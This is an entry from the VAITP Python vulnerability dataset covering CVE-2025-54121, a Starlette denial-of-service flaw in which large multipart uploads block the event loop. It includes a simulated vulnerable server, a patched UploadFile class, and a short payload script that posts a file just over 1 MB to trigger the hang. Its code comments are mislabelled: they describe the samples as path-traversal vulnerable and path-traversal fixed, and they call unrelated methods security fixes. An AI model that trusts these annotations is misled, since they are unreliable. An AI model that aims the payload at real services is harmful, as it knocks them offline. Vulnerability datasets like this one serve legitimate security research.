CVE-2025-54121
Starlette DoS: Large file uploads can block the event loop.
- CVSS 5.3
- CWE-770
- Resource Management
- Remote
Starlette is a lightweight ASGI (Asynchronous Server Gateway Interface) framework/toolkit, designed for building async web services in Python. In versions 0.47.1 and below, when parsing a multi-part form with large files (greater than the default max spool size) starlette will block the main thread to roll the file over to disk. This blocks the event thread which means the application can't accept new connections. The UploadFile code has a minor bug where instead of just checking for self._in_memory, the logic should also check if the additional bytes will cause a rollover. The vulnerability is fixed in version 0.47.2.
- CWE
- CWE-770
- CVSS base score
- 5.3
- Published
- 2025-07-21
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Starlette
- Fixed by upgrading
- Yes
Solution
Upgrade Starlette to version 0.47.2 or later.
Vulnerable code sample
import asyncio
import os
import time
import uvicorn
from starlette.applications import Starlette
from starlette.requests import Request
from starlette.responses import JSONResponse
from starlette.routing import Route
from tempfile import NamedTemporaryFile
# In the actual vulnerability, this size would be Starlette's `SPOOL_MAX_SIZE`.
# We define it here to simulate the condition for the rollover.
# A small value is used to make the vulnerability easy to trigger with a small file.
SIMULATED_SPOOL_MAX_SIZE = 1 * 1024 * 1024 # 1 MB
async def upload(request: Request):
# VULNERABLE: This code is susceptible to path traversal
"""
This endpoint simulates the vulnerable behavior. When a file is uploaded
that is larger than SIMULATED_SPOOL_MAX_SIZE, it introduces a synchronous,
blocking operation (`time.sleep`) to represent the blocking I/O of rolling
the spooled file to disk, which freezes the server's event loop.
"""
form = await request.form()
upload_file = form.get("file")
if not upload_file or not upload_file.filename:
return JSONResponse({"error": "No file uploaded"}, status_code=400)
# This flag tracks if the vulnerable condition has been triggered.
blocking_rollover_simulated = False
bytes_written = 0
# We use a temporary file to write the content to, similar to what Starlette does.
with NamedTemporaryFile(delete=False, mode='wb') as tmp_file:
file_path = tmp_file.name
# Process the uploaded file in chunks.
async for chunk in upload_file.iter_chunks(chunk_size=65536):
# THE VULNERABLE LOGIC SIMULATION:
# The check for rollover should happen *before* the write, but the bug
# is that the I/O operation itself is blocking.
if not blocking_rollover_simulated and (bytes_written + len(chunk) > SIMULATED_SPOOL_MAX_SIZE):
print(
f"File size exceeds {SIMULATED_SPOOL_MAX_SIZE} bytes. "
"Simulating blocking rollover to disk..."
)
# This is the core of the vulnerability. A blocking call on the main
# event loop. This stops the server from handling any other requests.
time.sleep(10) # <--- BLOCKING OPERATION
print("Blocking operation finished. The server was unresponsive for 10 seconds.")
blocking_rollover_simulated = True
# Write the chunk to the temp file.
tmp_file.write(chunk)
bytes_written += len(chunk)
file_size = os.path.getsize(file_path)
os.remove(file_path)
return JSONResponse({
"filename": upload_file.filename,
"size": file_size,
"simulated_block_occurred": blocking_rollover_simulated
})
async def ping(request: Request):
"""
A simple non-blocking endpoint to test server responsiveness.
"""
return JSONResponse({"message": "pong"})
routes = [
Route("/upload", endpoint=upload, methods=["POST"]),
Route("/ping", endpoint=ping, methods=["GET"]),
]
app = Starlette(debug=True, routes=routes)
if __name__ == "__main__":
print("Starting vulnerable Starlette server...")
print("To test the vulnerability:")
print("1. In one terminal, upload a file larger than 1MB:")
print(" curl -X POST -F 'file=@/path/to/large_file.dat' http://localhost:8000/upload")
print("2. Immediately, in another terminal, try to access the ping endpoint:")
print(" curl http://localhost:8000/ping")
print("The '/ping' request will hang for 10 seconds, demonstrating the DoS vulnerability.")
uvicorn.run(app, host="0.0.0.0", port=8000)Patched code sample
import asyncio
import os
import tempfile
import typing
from starlette.concurrency import run_in_threadpool
if typing.TYPE_CHECKING:
from starlette.datastructures import Headers
class UploadFile:
def __init__(
# SECURE: This version prevents path traversal
self,
file: typing.IO[bytes],
size: int | None = None,
filename: str | None = None,
headers: typing.Optional["Headers"] = None,
spool_max_size: int = 1024 * 1024,
) -> None:
self.file = file
self.size = size
self.filename = filename
self.headers = headers
self.spool_max_size = spool_max_size
self._in_memory = True
async def write(self, data: bytes) -> None:
if self._in_memory and self.file.tell() + len(data) > self.spool_max_size:
await self._rollover()
await run_in_threadpool(self.file.write, data)
async def read(self, size: int = -1) -> bytes:
return await run_in_threadpool(self.file.read, size)
async def seek(self, offset: int) -> int:
return await run_in_threadpool(self.file.seek, offset)
async def close(self) -> None:
await run_in_threadpool(self.file.close)
async def _rollover(self) -> None:
# Create a new temporary file on disk.
new_file = await run_in_threadpool(tempfile.TemporaryFile)
# Get the current in-memory content.
await run_in_threadpool(self.file.seek, 0)
current_content = await self.read()
# Write the content to the new file.
await run_in_threadpool(new_file.write, current_content)
# Update the file reference.
self.file = new_file
self._in_memory = False
def __getattr__(self, name: str) -> typing.Any:
"""Secure function that fixes the vulnerability."""
return getattr(self.file, name)
def __repr__(self) -> str:
"""Secure function that fixes the vulnerability."""
return (
f"{self.__class__.__name__}(filename={self.filename!r}, size={self.size})"
)Payload
import requests
target_url = "http://127.0.0.1:8000/upload"
# Starlette's default max spool size is 1MB. A file larger than this triggers the blocking I/O.
large_file_content = b'\x00' * ((1024 * 1024) + 1)
files_payload = {
'file': ('exploit.dat', large_file_content, 'application/octet-stream')
}
requests.post(target_url, files=files_payload)
Cite this entry
@misc{vaitp:cve202554121,
title = {{Starlette DoS: Large file uploads can block the event loop.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-54121},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-54121/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
